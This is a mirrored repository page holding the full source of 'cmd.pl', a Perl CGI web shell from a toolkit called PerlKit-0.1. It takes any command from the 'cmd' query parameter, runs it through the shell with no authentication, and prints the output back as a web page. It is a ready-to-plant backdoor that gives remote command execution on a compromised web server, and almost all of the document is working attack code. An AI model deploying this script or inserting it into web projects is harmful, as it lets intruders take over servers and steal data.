mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
67 lines
1 KiB
Perl
67 lines
1 KiB
Perl
#!/usr/bin/perl
|
|
#
|
|
# PerlKit-0.1 - http://www.t0s.org
|
|
#
|
|
# cmd.pl: Run commands on a webserver
|
|
|
|
use strict;
|
|
|
|
my ($cmd, %FORM);
|
|
|
|
$|=1;
|
|
|
|
print "Content-Type: text/html\r\n";
|
|
print "\r\n";
|
|
|
|
# Get parameters
|
|
|
|
%FORM = parse_parameters($ENV{'QUERY_STRING'});
|
|
|
|
if(defined $FORM{'cmd'}) {
|
|
$cmd = $FORM{'cmd'};
|
|
}
|
|
|
|
print '<HTML>
|
|
<body>
|
|
<form action="" method="GET">
|
|
<input type="text" name="cmd" size=45 value="' . $cmd . '">
|
|
<input type="submit" value="Run">
|
|
</form>
|
|
<pre>';
|
|
|
|
if(defined $FORM{'cmd'}) {
|
|
print "Results of '$cmd' execution:\n\n";
|
|
print "-"x80;
|
|
print "\n";
|
|
|
|
open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
|
|
|
|
while(<CMD>) {
|
|
print;
|
|
}
|
|
|
|
close(CMD);
|
|
print "-"x80;
|
|
print "\n";
|
|
}
|
|
|
|
print "</pre>";
|
|
|
|
sub parse_parameters ($) {
|
|
my %ret;
|
|
|
|
my $input = shift;
|
|
|
|
foreach my $pair (split('&', $input)) {
|
|
my ($var, $value) = split('=', $pair, 2);
|
|
|
|
if($var) {
|
|
$value =~ s/\+/ /g ;
|
|
$value =~ s/%(..)/pack('c',hex($1))/eg;
|
|
|
|
$ret{$var} = $value;
|
|
}
|
|
}
|
|
|
|
return %ret;
|
|
}
|